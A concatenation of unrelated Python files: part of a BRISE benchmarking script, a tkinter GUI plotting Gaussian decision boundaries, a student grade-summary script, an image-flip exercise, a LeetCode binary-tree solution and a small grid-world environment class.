            While benchmarking BRISE, one would like to see the influence of changing some particular parameters on the
            overall process of running BRISE, on the results quality and on the effort.

            In this particular example, the Repeater benchmark described in following way:
                1. Using base Experiment Description for Energy Consumption.
                2. Change ONE parameter of Repeater in a time.
                    2.1. For each Repeater type (Default, Student and Student with enabled model-awareness).
                    2.2. For each Target System Scenario (ws_file).
                3. Execute BRISE with this changed Experiment Description 3 times and save Experiment dump after
                    each execution.

            Do not forget to call your benchmarking scenario in a code block of the `run_benchmark` function,
            highlighted by
            # ---    Add User defined benchmark scenarios execution below

        :return: int, number of Experiments that were executed and experiment dumps are stored.
                Actually you could return whatever you want, here this number is returned only for reporting purposes.
        """
        def_rep_skeleton = {"Repeater": {"Type": "default",
                                          "Parameters": {
                                              "MaxTasksPerConfiguration": 10}}}
        student_rep_skeleton = {"Repeater": {"Type": "student_deviation",
                                             "Parameters": {
                                                 "ModelAwareness": {
                                                     "MaxAcceptableErrors": [50],
                                                     "RatiosMax": [10],
                                                     "isEnabled": True
                                                 },
                                                 "MaxTasksPerConfiguration": 10,
                                                 "MinTasksPerConfiguration": 2,
                                                 "DevicesScaleAccuracies": [0],
                                                 "BaseAcceptableErrors": [5],
                                                 "DevicesAccuracyClasses": [0],
                                                 "ConfidenceLevels": [0.95]}}}

        for ws_file in os.listdir('csv'):
            # Skip ML scenarios, only the Energy consumption scenarios are needed.
            if ws_file in ["taskNB1.csv", "NB_final_result.csv"]:
                continue
            experiment_description = self.base_experiment_description
            experiment_description['TaskConfiguration']['Scenario']['ws_file'] = ws_file
            self.logger.info("Benchmarking next Scenario file(ws_file): %s" % ws_file)

            # benchmarking a default repeater
            experiment_description.update(deepcopy(def_rep_skeleton))
            self.execute_experiment(experiment_description)

            # benchmarking a student repeater with disabled model awareness
            experiment_description.update(deepcopy(student_rep_skeleton))
            experiment_description['Repeater']['Parameters']['ModelAwareness']["isEnabled"] = False
            for BaseAcceptableErrors in [5, 15, 50]:
                experiment_description['Repeater']['Parameters']['BaseAcceptableErrors'] = [BaseAcceptableErrors]
                self.logger.info("Default Repeater: Changing BaseAcceptableErrors to %s" % BaseAcceptableErrors)
                self.execute_experiment(experiment_description)

            # benchmarking a student repeater with enabled model awareness
            experiment_description.update(deepcopy(student_rep_skeleton))
            for BaseAcceptableErrors in [5, 15, 50]:
                experiment_description['Repeater']['Parameters']['BaseAcceptableErrors'] = [BaseAcceptableErrors]
                self.logger.info("Student Repeater: Changing BaseAcceptableErrors to %s" % BaseAcceptableErrors)
                self.execute_experiment(experiment_description)

            experiment_description.update(deepcopy(student_rep_skeleton))
            for MaxAcceptableErrors in [35, 50, 120]:
                experiment_description['Repeater']['Parameters']['ModelAwareness']['MaxAcceptableErrors'] = [MaxAcceptableErrors]
                self.logger.info("Student Repeater: Changing MaxAcceptableErrors to %s" % MaxAcceptableErrors)
                self.execute_experiment(experiment_description)

            experiment_description.update(deepcopy(student_rep_skeleton))
            for RatiosMax in [5, 10, 30]:
                experiment_description['Repeater']['Parameters']['ModelAwareness']['RatiosMax'] = [RatiosMax]
                self.logger.info("Student Repeater: Changing RatiosMax to %s" % BaseAcceptableErrors)
                self.execute_experiment(experiment_description)

        return self.counter

    def benchmark_SA(self):

        scenarios = {
          "trivial": { "variants": 1, "requests": 1, "depth": 1, "resources": 1.0 },
          "small": { "variants": 2, "requests": 1, "depth": 2, "resources": 1.5 },
          "small_hw": { "variants": 2, "requests": 1, "depth": 2, "resources": 5.0 },
          "small_sw": { "variants": 2, "requests": 1, "depth": 5, "resources": 1.5 },
          "medium": { "variants": 10, "requests": 15, "depth": 2, "resources": 1.5 },
          "medium_hw": { "variants": 10, "requests": 15, "depth": 2, "resources": 5.0 },
          "medium_sw": { "variants": 5, "requests": 10, "depth": 5, "resources": 1.5 },
          "large": { "variants": 20, "requests": 20, "depth": 2, "resources": 1.5 },
          "large_hw": { "variants": 20, "requests": 20, "depth": 2, "resources": 5.0 },
          "large_sw": { "variants": 10, "requests": 20, "depth": 5, "resources": 1.5 },
          "huge": { "variants": 50, "requests": 50, "depth": 2, "resources": 1.5 },
          "huge_hw": { "variants": 50, "requests": 50, "depth": 2, "resources": 5.0 },
          "huge_sw": {"variants": 20, "requests": 50, "depth": 5, "resources": 1.5 }
        }

        for s in scenarios:
            self.logger.info("here")
            experiment_description = self.base_experiment_description
            experiment_description['TaskConfiguration']['Scenario']['ws_file'] = "result_v{}_q{}_d{}_r{}.csv".\
                format(scenarios[s]["variants"], scenarios[s]["requests"], scenarios[s]["depth"], str(scenarios[s]["resources"]).replace('.', '_'))
            experiment_description['TaskConfiguration']['Scenario']['numImplementations'] = scenarios[s]["variants"]
            experiment_description['TaskConfiguration']['Scenario']['numRequests'] = scenarios[s]["requests"]
            experiment_description['TaskConfiguration']['Scenario']['componentDepth'] = scenarios[s]["depth"]
            experiment_description['TaskConfiguration']['Scenario']['excessComputeResourceRatio'] = scenarios[s]["resources"]
            self.logger.info("Benchmarking next Scenario file(ws_file): %s" % experiment_description['TaskConfiguration']['Scenario']['ws_file'])
            self.execute_experiment(experiment_description)

        return self.counter

def run_benchmark():
    main_api_address = "http://main-node:49152"
    # Container creation performs --volume on `./results/` folder. Change wisely results_storage.
    results_storage = "./results/serialized/"
    try:
        runner = BRISEBenchmark(main_api_address, results_storage)
        try:
            # ---    Add User defined benchmark scenarios execution below  ---#
            # --- Possible variants: benchmark_repeater, benchmark_SA ---#
            runner.benchmark_repeater()

            # --- Helper method to remove outdated experiments from `./results` folder---#
            # runner.move_redundant_experiments(location=runner.results_storage + "outdated/")

            # ---   Add User defined benchmark scenarios execution above   ---#
        except Exception as err:
            logging.warning("The Benchmarking process interrupted by an exception: %s" % err)
            runner.main_api_client.stop_main()
        finally:
            runner.main_api_client.stop_main()
            chown_files_in_dir(results_storage)
            logging.info("The ownership of dump files was changed, exiting.")
    except Exception as err:
        logging.error("Unable to create BRISEBenchmark instance: %s" % err)

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="The entry point of BRISE Benchmark service.")
    parser.add_argument("mode", choices=["analyse", "benchmark"], help="Mode in which Benchmarking functionality should be runned.")
    args = parser.parse_args()

    if args.mode == "analyse":
        build_benchmark_report()
    else:   # args.mode == "benchmark"
        run_benchmark()


# GaussianDecisionBoundaries.py
#
# Draws the decision boundary between two Gaussian distributions according to the
# Maximum a Posteriori criterium. You can change the a priori probabilities, the
# mean vectors and covariance matrices. You can also show the difference between
# the two Probability Densidty Functions (PDFs) and display contours of the original
# PDFs.
#
# TODO
# - adjust axis limits depending on the Gaussian parameters
# - clean up and simplify the code
#
# (C) 2017 Giampiero Salvi <giampi@kth.se>
import tkinter as tk
import tkinter.ttk as ttk
from tkinter import font
import numpy as np
import matplotlib.pyplot as plt
from scipy.stats import multivariate_normal
from matplotlib.backends.backend_tkagg import FigureCanvasTkAgg
from matplotlib.colors import LogNorm
from tkinter import messagebox
#import matplotlib.backends.backend_tkagg as tkagg

def about():
   aboutText = "GaussianDecisionBoundaries.py\n\n(C) 2017 Giampiero Salvi\n\nDraws the decision boundary between two Gaussian distributions according to the Maximum a Posteriori criterion. You can change the a priori probabilities, the mean vectors and covariance matrices. You can also show the difference between the two Probability Densidty Functions (PDFs) and display contours of the original PDFs.\n\nSource code at: https://github.com/giampierosalvi/GaussianDecisionBoundaries"
   messagebox.showinfo("About", aboutText)

def redraw(fig):
   # acquie Gaussian parameters
   p = np.array([float(p1.get()), 1.0-float(p1.get())])
   mu1 = np.array([float(mu1x.get()), float(mu1y.get())])
   mu2 = np.array([float(mu2x.get()), float(mu2y.get())])
   s1 = np.array([[float(s1x.get()), float(s1xy.get())],
                  [float(s1xy.get()), float(s1y.get())]])
   s2 = np.array([[float(s2x.get()), float(s2xy.get())],
                  [float(s2xy.get()), float(s2y.get())]])
   # greate Multivariate Gaussian objects
   try:
      rv1 = multivariate_normal(mu1, s1)
   except ValueError:
      messagebox.showerror("Error!", "Covariance matrix must be positive semidefinite (Gaussian 1)")
   try:
      rv2 = multivariate_normal(mu2, s2)
   except ValueError:
      messagebox.showerror("Error!", "Covariance matrix must be positive semidefinite (Gaussian 2)")
   # Compute PDF for a certain range of x and y
   xlim = [float(xmin.get()), float(xmax.get())]
   ylim = [float(ymin.get()), float(ymax.get())]
   x, y = np.mgrid[xlim[0]:xlim[1]:(xlim[1]-xlim[0])/500.0, ylim[0]:ylim[1]:(ylim[1]-ylim[0])/500.0]
   pos = np.dstack((x, y))
   rv1g = p[0]*rv1.pdf(pos)
   rv2g = p[1]*rv2.pdf(pos)
   sum12 = rv1g+rv2g
   post1 = np.divide(rv1g, sum12)
   post2 = np.divide(rv2g, sum12)
   fig.clf()
   #plt.set_cmap('seismic')
   ax = fig.add_subplot(111)
   # plot Decision Boundary or Difference of PDFs
   plotType = drawType.get()
   if plotType == 'Decision Boundary':
      ax.imshow((post1>post2).T, origin='lower', extent=[xlim[0], xlim[1], ylim[0], ylim[1]], cmap='bwr')
      fig.suptitle(plotType)
   elif plotType == 'PDF difference':
      maxdata = np.max(np.abs(rv1g-rv2g))
      cax = ax.imshow((rv1g-rv2g).T, origin='lower', extent=[xlim[0], xlim[1], ylim[0], ylim[1]], cmap='Spectral_r', vmin=-maxdata, vmax=maxdata)
      fig.colorbar(cax)
      fig.suptitle('P(1)p(x|1) - P(2)p(x|2)')
   elif plotType == 'Posterior difference':
      maxdata = np.max(np.abs(post1-post2))
      cax = ax.imshow((post1-post2).T, origin='lower', extent=[xlim[0], xlim[1], ylim[0], ylim[1]], cmap='Spectral_r', vmin=-maxdata, vmax=maxdata)
      fig.colorbar(cax)
      fig.suptitle('P(1|x) - P(2|x)')
   else:
      messagebox.showerror("Error!", "Plot type not supported")
   ax.text(mu1[0], mu1[1], '+', color='white', horizontalalignment='center', verticalalignment='center')
   ax.text(mu2[0], mu2[1], 'o', color='white', horizontalalignment='center', verticalalignment='center')
   ax.set_xlabel('x')
   ax.set_ylabel('y')
   # plot contours for each PDF
   if drawPDFContour.get():
      ax.contour(x, y, rv1g, colors='w')
      ax.contour(x, y, rv2g, colors='w')
      #plt.contour(x, y, rv1g.reshape(x.shape), norm=LogNorm(vmin=1.0, vmax=40.0),levels=np.logspace(0, 3, 10))
      #plt.contour(x, y, rv2g.reshape(x.shape), norm=LogNorm(vmin=1.0, vmax=40.0),levels=np.logspace(0, 3, 10))
   canvas.draw()

root = tk.Tk()
root.title("Gaussian Decision Boundaries")
# set default font size
defaultFont = font.nametofont("TkDefaultFont")
defaultFont.configure(family="helvetica", size=14)

# Gaussian distribution parameters
p1 = tk.StringVar()
mu1x = tk.StringVar()
mu1y = tk.StringVar()
s1x = tk.StringVar()
s1y = tk.StringVar()
s1xy = tk.StringVar()
p2 = tk.StringVar()
mu2x = tk.StringVar()
mu2y = tk.StringVar()
s2x = tk.StringVar()
s2y = tk.StringVar()
s2xy = tk.StringVar()

# drawing parameters
drawType = tk.StringVar()
drawPDFContour = tk.BooleanVar()
xmin = tk.StringVar()
xmax = tk.StringVar()
ymin = tk.StringVar()
ymax = tk.StringVar()

# set default values
def reset():
   p1.set('0.5')
   mu1x.set('-1.0')
   mu1y.set('-1.0')
   s1x.set('1.0')
   s1y.set('1.0')
   s1xy.set('0.0')
   p2.set('0.5')
   mu2x.set('1.0')
   mu2y.set('1.0')
   s2x.set('1.0')
   s2y.set('1.0')
   s2xy.set('0.0')
   drawType.set('Decision Boundary')
   drawPDFContour.set(True)
   xmin.set("-1.5")
   xmax.set("1.5")
   ymin.set("-1.5")
   ymax.set("1.5")

reset()

# create control widgets
entryWidth=5
controlFrame = ttk.Frame(root)
gaussianFrame = ttk.Frame(controlFrame)
gaussian1Frame = ttk.LabelFrame(gaussianFrame, text='Gaussian 1')
p1W = ttk.Entry(gaussian1Frame, textvariable=p1, width=entryWidth, font=defaultFont)
mu1xW = ttk.Entry(gaussian1Frame, textvariable=mu1x, width=entryWidth, font=defaultFont)
mu1yW = ttk.Entry(gaussian1Frame, textvariable=mu1y, width=entryWidth, font=defaultFont)
s1xW = ttk.Entry(gaussian1Frame, textvariable=s1x, width=entryWidth, font=defaultFont)
s1yW = ttk.Entry(gaussian1Frame, textvariable=s1y, width=entryWidth, font=defaultFont)
s1xyW = ttk.Entry(gaussian1Frame, textvariable=s1xy, width=entryWidth, font=defaultFont)
s1yxW = ttk.Entry(gaussian1Frame, textvariable=s1xy, width=entryWidth, font=defaultFont)
gaussian2Frame = ttk.LabelFrame(gaussianFrame, text='Gaussian 2')
p2W = ttk.Label(gaussian2Frame, text='1-p1')
mu2xW = ttk.Entry(gaussian2Frame, textvariable=mu2x, width=entryWidth, font=defaultFont)
mu2yW = ttk.Entry(gaussian2Frame, textvariable=mu2y, width=entryWidth, font=defaultFont)
s2xW = ttk.Entry(gaussian2Frame, textvariable=s2x, width=entryWidth, font=defaultFont)
s2yW = ttk.Entry(gaussian2Frame, textvariable=s2y, width=entryWidth, font=defaultFont)
s2xyW = ttk.Entry(gaussian2Frame, textvariable=s2xy, width=entryWidth, font=defaultFont)
s2yxW = ttk.Entry(gaussian2Frame, textvariable=s2xy, width=entryWidth, font=defaultFont)
drawingFrame = ttk.LabelFrame(controlFrame, text='Drawing')
drawTypeW = ttk.Combobox(drawingFrame, textvariable=drawType, font=defaultFont)
drawTypeW['values'] = ('Decision Boundary', 'PDF difference', 'Posterior difference')
drawPDFContourW = ttk.Checkbutton(drawingFrame, text="Draw PDF Contours", variable=drawPDFContour)
xlimFrame = ttk.Frame(drawingFrame)
xlimL = ttk.Label(xlimFrame, text='xlim')
xminW = ttk.Entry(xlimFrame, textvariable=xmin, width=entryWidth, font=defaultFont)
xmaxW = ttk.Entry(xlimFrame, textvariable=xmax, width=entryWidth, font=defaultFont)
ylimFrame = ttk.Frame(drawingFrame)
ylimL = ttk.Label(ylimFrame, text='ylim')
yminW = ttk.Entry(ylimFrame, textvariable=ymin, width=entryWidth, font=defaultFont)
ymaxW = ttk.Entry(ylimFrame, textvariable=ymax, width=entryWidth, font=defaultFont)
redrawButton = ttk.Button(drawingFrame, text="Redraw", command=lambda: redraw(fig))
aboutButton = ttk.Button(controlFrame, text="About...", command=about)
resetButton = ttk.Button(controlFrame, text="Reset", command=reset)

# place widgets within gaussian1Frame
gaussian1Frame.grid(column=0, row=0, columnspan=2, rowspan=6)
p1L = ttk.Label(gaussian1Frame, text='p1')
p1L.grid(row=0, column=0)
p1W.grid(row=0, column=1)
mu1L = ttk.Label(gaussian1Frame, text='mean1')
mu1L.grid(row=1, column=0, columnspan=2)
mu1xW.grid(row=2, column=0)
mu1yW.grid(row=2, column=1)
s1L = ttk.Label(gaussian1Frame, text='cov1')
s1L.grid(row=3, column=0, columnspan=2)
s1xW.grid(row=4, column=0)
s1xyW.grid(row=4, column=1)
s1yxW.grid(row=5, column=0)
s1yW.grid(row=5, column=1)

# place widgets within gaussian2Frame
gaussian2Frame.grid(column=0, row=0, columnspan=2, rowspan=6)
p2L = ttk.Label(gaussian2Frame, text='p2 = 1-p1')
p2L.grid(row=0, column=0, columnspan=2)
mu2L = ttk.Label(gaussian2Frame, text='mean2')
mu2L.grid(row=1, column=0, columnspan=2)
mu2xW.grid(row=2, column=0)
mu2yW.grid(row=2, column=1)
s2L = ttk.Label(gaussian2Frame, text='cov2')
s2L.grid(row=3, column=0, columnspan=2)
s2xW.grid(row=4, column=0)
s2xyW.grid(row=4, column=1)
s2yxW.grid(row=5, column=0)
s2yW.grid(row=5, column=1)

# place widgets within drawing frame
drawTypeW.pack(side="top")
drawPDFContourW.pack(side="top")
xlimL.pack(side="left")
xminW.pack(side="left")
xmaxW.pack(side="left")
xlimFrame.pack(side="top")
ylimL.pack(side="left")
yminW.pack(side="left")
ymaxW.pack(side="left")
ylimFrame.pack(side="top")
redrawButton.pack(side="top")

# place Gaussian frames within gaussianFrame
gaussian1Frame.pack(side="left")
gaussian2Frame.pack(side="left")

# place gfame and drawing frame within controlFrame
aboutButton.pack(side="top")
resetButton.pack(side="top")
gaussianFrame.pack(side="top")
drawingFrame.pack(side="top")

controlFrame.pack(side="left")

figureFrame = tk.Frame(root)
fig = plt.Figure()
canvas = FigureCanvasTkAgg(fig, master=root)
#tkagg.NavigationToolbar2TkAgg(canvas, root)
canvas.show()
canvas.get_tk_widget().pack(side='top', fill='both', expand=1)
figureFrame.pack()
redraw(fig)
root.mainloop()


import os
import numpy as np
file1 = input('enter the file:')
if  not os.path.exists(file1):
    print(file1,"does not exist ")
else:
    with open (file1) as f:
        lines = f.readlines()
    results = []
    results_avr = []
    a =np.array([0, 0, 0, 0, 0, 0, 0, 0, 0])
    for line in lines:
        data1 = []
        data = line.split()
        b = np.array(data[1:])
        b=b.astype('int')
        a=a+b
        lens = len(data) - 1
        sum=0
        data1.insert(0,str(data[0]))
        for score in data [1:]:
            if int(score)<60:
                sum += int(score)
                score = '不及格'
                data1.append(str(score))
            else:
                data1.append(str(score))
                sum += int(score)
        avr =float('%.2f' % (sum/lens))
        data1.append(str(sum))
        data1.append(str(avr))
        results.append(data1)
    results11 = sorted(results,key=lambda x:x[11],reverse=True)
    #print (results11)
    i = 1
    for xxx in results11:
        xxx.insert(0,str(i))
        i+=1
    #print(results11)
    summ = 0
    for i in a:
        result_2 =str('%.2f' %  (i/30))
        results_avr.append(result_2)
        summ += int(i/30)
    print ('results_avr:',results_avr)
    avrr = float('%.2f' % (summ/9))
    results_avr.append(str(summ))
    results_avr.append(str(avrr))
    results_avr.insert(0,'0,平均')
    #results_avr.append('\n')
    #results_avr = np.array(results_avr)
    #results_avr = results_avr.astype('str')
    results111=','.join(results_avr)
    print(results111)
    output = open('results.txt','w')
    output.write('名次,姓名,语文,数学,英语,物理,化学,生物,政治,历史,地理,总分,平均分'+'\n')
    output.writelines(results111)
    output.writelines('\n')
    for xxxx in results11:
        output.writelines(' '.join(xxxx))
        output.writelines('\n')
    output.close()


from cImage import *

def verticalFlip(oldImage):
    oldW = oldImage.getWidth()
    oldH = oldImage.getHeight()

    newIm = EmptyImage(oldW, oldH)

    maxP = oldW - 1
    for row in range(oldH):
        for col in range(oldW):
            oldPixel = oldImage.getPixel(maxP - col, row)

            newIm.setPixel(col, row, oldPixel)

    return newIm

def makeFlip(imageFile):
    oldImage = FileImage(imageFile)
    width = oldImage.getWidth()
    height = oldImage.getHeight()

    myWin = ImageWin("Vertical Flip", width * 2, height)
    oldImage.draw(myWin)

    newImage = verticalFlip(oldImage)
    newImage.setPosition(width + 1, 0)
    newImage.draw(myWin)

    myWin.exitOnClick()

if __name__ == '__main__':
    makeFlip('castle.gif')


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Sun Jun  4 22:10:46 2017

@author: owen
"""

# Definition for a binary tree node.
class TreeNode(object):
    def __init__(self, x):
        self.val = x
        self.left = None
        self.right = None

#class Solution(object):
#    def sumOfLeftLeaves(self, root):
#        """
#        :type root: TreeNode
#        :rtype: int
#        """
#        # recursive
#        if not root:
#            return 0
#
#        if root.left and not root.left.left and not root.left.right: # root.left is a leaf
#            return root.left.val+self.sumOfLeftLeaves(root.right)
#
#        return self.sumOfLeftLeaves(root.left)+self.sumOfLeftLeaves(root.right)

#class Solution(object):
#    def sumOfLeftLeaves(self, root):
#        """
#        :type root: TreeNode
#        :rtype: int
#        """
#        # level order: queue
#        if not root:
#            return 0
#        q=[root]
#        res=0
#        while q:
#            node=q.pop(0)
#            if node.left and not node.left.left and not node.left.right: # node.left is a leaf
#                res+=node.left.val
#            if node.left:
#                q.append(node.left)
#            if node.right:
#                q.append(node.right)
#        return res

class Solution:
    def sumOfLeftLeaves(self, root):
        """
        :type root: TreeNode
        :rtype: int
        """
        # preorder: stack
        if not root:
            return 0

        s=[root]
        res=0
        while s:
            node=s.pop()
            if node.right:
                s.append(node.right)

            if node.left:
                if not node.left.left and not node.left.right: # node.left is a leaf
                    res+=node.left.val
                else:
                    s.append(node.left)

        return res

if __name__=="__main__":
    root=TreeNode(3)
    root.left=TreeNode(3)
    root.right=TreeNode(20)
    root.left.left=TreeNode(3)
    root.left.right=TreeNode(1)
    root.right.left=TreeNode(15)
    root.right.right=TreeNode(7)
    print(Solution().sumOfLeftLeaves(root))


import numpy as np
import random

class env2D():
    """
    Main class for 2D environments
    """
    def __init__(self, task_name, seed = 1):
        self.seed = random.seed(seed)
        self.task_name = task_name
        self.reward = 0
        self.done = 0
        self.reset()

    def reset(self):
        """
        Create/reset environment
        :return:
        """
        if self.task_name == "task3x3":
            self.task3x3()
        elif self.task_name == "task4x4":
            self.task4x4()
        elif self.task_name == "task6x6":
            self.task6x6()
        else:
            print("Task does not exist")

    def observation(self):
        """
        returns current state
        :return: self.state
        """
        to_return = self.grid.copy()
        to_return[self.agent[1],self.agent[0]] = 1
        return to_return

    def observation_flat(self):
        """
        returns current state
        :return: self.state flattened
        """
        to_return = self.grid.copy()
        to_return[self.agent[1],self.agent[0]] = 1
        return to_return.flatten()

    def observation_pic_gen(self):
        """
        Generates background picture of not changing objects
        :return:
        """
        pass

    def observation_pic(self):
        """
        Generates picture of current state
        :return:
        """
        pass

    def task3x3(self):
        """
        Initialize task0 with preset parameters
        :return:
        """
        self.grid = np.zeros([3,3])
        #starting location of an agent
        self.agent = np.array([0,0])
        #left, right, up, down
        self.action_space = np.array([0,1,2,3])
        self.actual_move = np.array([[-1,0],[1,0],[0,-1],[0,1]])

    def task4x4(self):
        """
        Initialize task0 with preset parameters
        :return:
        """
        self.grid = np.zeros([4,4])
        #starting location of an agent
        self.agent = np.array([0,0])
        #left, right, up, down
        self.action_space = np.array([0,1,2,3])
        self.actual_move = np.array([[-1,0],[1,0],[0,-1],[0,1]])

    def task6x6(self):
        """
        Initialize task0 with preset parameters
        :return:
        """
        self.grid = np.zeros([6,6])
        #starting location of an agent
        self.agent = np.array([0,0])
        #left, right, up, down
        self.action_space = np.array([0,1,2,3])
        self.actual_move = np.array([[-1,0],[1,0],[0,-1],[0,1]])

    def step(self, action):
        new_loc = self.actual_move[action] + self.agent
        if (0 <= new_loc[0] < self.grid.shape[0]) and (0 <= new_loc[1] < self.grid.shape[1]):
            self.agent = new_loc
        return self.observation_flat(), self.reward, self.done